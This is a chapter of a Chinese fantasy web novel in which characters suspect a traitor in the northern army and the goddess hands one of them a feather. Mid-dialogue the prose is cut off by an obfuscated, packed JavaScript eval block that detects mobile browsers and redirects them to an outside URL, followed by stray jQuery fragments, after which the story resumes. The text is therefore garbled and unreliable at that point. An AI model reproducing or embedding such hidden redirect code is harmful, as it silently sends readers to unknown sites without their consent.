108. 设防

作品:《我们是真有神助

    云凌洲快速又吃了一碗饭才放了筷,见他们一脸迷茫,便不再多问了,只交代了自己明日回营之事,之后又吩咐了府里管事好好照料他们。


    几人早已累得蔫蔫成一团,见此时也商议不出什么来,便打算先去休息,有什么事明日再说。


    尤知言困得神志不清,摆了摆手起身先回了客房,云幼颐和景嵚也随即跟着去了,若冲和元安与云府其他侍从一齐去将车上的行李整理下来。待人陆续离开后,前厅最后便只剩下了扶曦昀燚和云凌洲三人。


    刚才昀燚便察觉出了扶曦眼中闪烁的犹豫之色,知道她欲言又止恐是怕他们过于忧心,所以他尽管当时满肚子疑问,最后也憋着没问。现在见大家都走了,他才一脸担忧凑过去问她:“阿扶,怎么了?发生了什么吗?”


    扶曦表情隐晦望向面前二人,思索了一阵,最后决定不再隐瞒,将她所看见的空白之事告诉了他们。


    “……但是我的神力不日便能蓄满,到时应该就能破除这些障眼之法。”


    “不对阿扶,虽不知对方是谁,但他们显然是有备而来,以我们一路上遇到的情况看来,对方定是对你神力非常熟悉之人,你想想看可有可疑之人?”


    昀燚一针见血,他不相信天下会有如此多巧合之事,件件都指向同一个目标,便是封住扶曦的神力,干扰他们的行动。他们定从一开始便被谁瞄准了,不然怎么解释扶曦一而再再而三受到的伤害。


    扶曦不是没这么想过,可是她前世距今已过了五百年,凡是熟悉她之人都不知轮回多少世了,哪里会有人能够活到现在?除非也有人与她一样被复活重生,可她却想不出会是谁,也不相信天底下除了重木还有人能办到这逆天改命之事。


    “算了算了,一时想不通说明时机未到,答案之后定然会慢慢浮现的。你俩真不和我回军营?”,云凌洲这一路都在学着开解自己,现下想不明白也不纠结,倒是问起了他二人。


    “哈?我们跟你回营干嘛?”,昀燚觉得他在胡闹。


    “华监正住在营里,你们有什么想不清楚的或许可以问问他。而且,我总感觉哪里不对劲……”


    “怎么了?”


    “离开肃川前一天我就向营里去了信,之后在路上提到花车庆典一事,我特意又去了一封信给崔刺史,建议他取消今年的庆典,可是……直到如今我仍未收到任何一封回信。我觉得军中可能出事了……”


    自今日在城中看见布景的队伍,云凌洲心上便蒙上了不祥的预感,事出反常必有妖,本还打算进城安顿好后歇息一日再去复职,可现下看来是一日也不能拖了。


    昀燚闻言表情逐渐凝滞,在这节骨眼上,如若北境军中再出个三差两错,之后内忧外患必定分身乏术,守卫西风国的边境要是出现内乱无异于不攻自破,后果可不堪设想。


    窗外天际远端又发出一瞬强光,不知又是哪一只妖怪飞行的轨迹划破了黑夜,风声一时急促呼啸,吹得厅堂的窗柩发出破碎的响动,守在庭内的小厮赶忙过来将窗放下,替他们掩盖住了外面的异景。


    “你离营回乡,军中事务由谁暂代?”,想到了什么,昀燚眸色微闪。他凡事不愿往最坏处去想,可事事结果不如意,教训得他不得不承认自己当初的天真有多碍事。经历了这般多,唯有一事令他逐渐笃信,如若再不防范,等待他们的只会是万劫不复的深渊。


    “我的副将邓迁。怎么,殿下怀疑……鸠占鹊巢?”,云凌洲不是不疑,只是邓迁与他出生入死早已情同手足,就算军中有人要反,他也信他只会是替他冒死抵抗之人。


    扶曦明白了引得昀燚思虑的来源,也大概猜测出了云凌洲此时的迟疑,但这顾虑并不是空穴来风。军中如若真出事了,制造这祸乱的最佳人选自然便是能在没有云凌洲的情况下依旧能一呼百应之人,第一要有权力,第二便要得人心,故这邓迁不得不疑。


    “云家手握二十万镇北军,按道理就算云公去世,墨衣云卫不再成势,可只要兵权一日还在云家手上,父皇便不会不忌惮云家,然而此番太后能直接放幼颐回乡,我先前还未细想,现下想来这镇北军内定已安插了他们的人。足以放质归乡,唯恐忌惮已除。”


    昀燚神色凝重,有些话一旦出口,他的立场便早已不再单纯,可眼下确是无可奈何,他当处在肃川既已插手了云家之事,便不可能再独善其身,更何况云凌洲云幼颐与他而言是交心挚友,他怎么都不可能眼看祸事降临在他们身上。


    “军营你不能回了,尽管必须要回,也不是此时。”,云凌洲的书信早已暴露了他们的行踪,如若有心之人设下陷阱守株待兔,那他一回去必定身陷囹圄,当然他们也希望这一切只是多虑。


    镇北军经手了云家上下三代人,云凌洲这三年好不容易与军中各部磨合好关系,镇守边关与流匪的几次战役大捷,镇北军早已在他的带领下拧成一根绳,此刻听闻昀燚说的这些,他其实更多的只觉得他是在多虑,可是却又并不敢直接拍着胸脯去保证什么,因为他清楚这些猜测尽管可能性小,却并不是完全不可能,他肩负太多,不敢再拿云家最后的余息去赌这份真心,他不敢,也赌不起。


    他神色愈加沉默,片刻后才想又记起需要呼吸一般,深喘了一大口气,之后才再次抬起了自己的眸:“行,听你的,先以不动应万动。”


    扶曦望着低沉的二人,知道事到如今,面前这两人早已不再是初见时的那般无虑,而是各有各的责任重担。她又想到了什么,拔下头上的羽毛簪子召出了玄雀,随后从它身上薅了一根羽毛递给了云凌洲,虽然她此刻还不知这羽毛到底有什么用,但总感觉这样做能让她安心一些。


    “这羽毛你拿着,之后或许能帮上忙。”


    她没将自己先前在新月湖做的梦告诉他们,此刻两人见她莫名其妙递来一根羽毛具是一愣。


    云凌洲眨了两下眼,再看了看昀燚乱七八糟的表情,虽不知道这又是什么情况,但既然神女说有用,那应该不会是骗他的。于是他顶着身边那股强烈的视线,伸手接过了那根焰色羽毛:“好嘞,这有什么用?一吹能把你变出来是么?”,说着他又对着羽毛吹了吹,可是却没发生任何变化。


    昀燚看他这“嚣张”的模样,醋味更重了,瘪着嘴朝扶曦伸出了手掌:“我也要!你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575696|153766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从来没送过我什么,凭什么他有?”


    扶曦无奈握住了他伸出来的手将他拉到一边去,随后朝着云凌洲说:“时机未到罢了,到时自然会发挥作用的,你好好收着以防万一。”


    她现在看不见他们的以后,自然不能再像之前那般大意,既然已经隐隐察觉云凌洲会不利,那提前预防着总没错。


    云凌洲盯着手中这根细小的羽毛,抬头又看了看一脸真挚的扶曦,和被她拂到身后一张脸皱到一起的昀燚以及她头顶正一脸心疼用喙顺着羽毛的玄雀,最后捂嘴轻笑将羽毛收进了衣襟口袋内:“行,那我就收下了。”


    随后他便先起身告退了,贺归吴方还有之前跟他回肃川的几位兄弟的衣冠,他本打算待会军营再派人将其送还给他们家人的,此番看来还是要派自己府上的侍从们先去把此事办了。


    他走后,扶曦怕昀燚又闹好些时候脾气,感觉拉着他也回了客房处。站在客房前捧着他的脸哄了好一会儿,他都仍旧不服地瘪着一张嘴,直到她哄着他说自己会一直待在他身边,所以他不需要什么羽毛,这才将人哄好了。


    看着他闻言瞬间舒展的眼眉,她在心内感叹他怎么越来越像个孩子了,大米小米拽着她争风吃醋时不过也就这样。


    亥时,整座雪城便已陷入沉睡,处处寂静只可闻空中的妖游之声。他们几人露宿半月余终于难得地睡到了床榻上,;洗整好刚一趟下具疲惫得立时便进入了梦乡。


    这白照城南北都有山脉阻隔,所以其实虽地处北境,却并未有之前路上那般寒冷。一夜好眠,第二日天微亮,随着鸡鸣声起,几人也陆续起身开始梳整。


    小厮昨晚得了云凌洲的命令,今日一早不敢耽搁,天未明便已起身赶了一架车去送衣冠与抚恤金。


    今日天晴,几人许久没能这般闲适地吃早膳了,看着阳光正好,于是便在庭院中开了宴。


    云幼颐没想到今日还能看到云凌洲,问他怎么还不回营,云凌洲面色不改瞎编了个理由:“再过几天就是新春庆典了,我还不是想去见识见识。”


    云幼颐明白他哥虽看着不着调,但却绝不是玩忽职守之人,但看身边几人对此也并无异色,她本还在猜疑的心也就放了下来。左右不过是被什么事绊住了,看这情形应该也不会是何等大事,那她便懒得多管了。于是她也开着玩笑道:“我就知道你肯定想凑这个热闹,到时候我们去寻了凯哥田倩他们一起去呗。”


    几人还在这拌嘴,完成任务的小厮便已回来了。他跨进门来时面色还在忧心忡忡,没料到主子们此刻便在庭院中,愣怔一瞬便掩饰下了这不合时宜的神色,抱拳跪下向云凌洲复命。


    自他行色匆匆进门之时,云凌洲便已敏锐察觉到了他的慌乱,此刻望着跪在地上的他,便直接问出了口:“发生什么了?”


    小厮岂料自己这点面色变化也被主子收入了眼底,立时将头埋得更低,斟酌了片刻才说:“都是些瞎传闻,本不该扰了主子的耳……”


    云凌洲却不想与他周旋:“但说无妨,怎么了?”


    “……刚才在街上听百姓们议论,说拿吃小孩的妖魔又现世了……”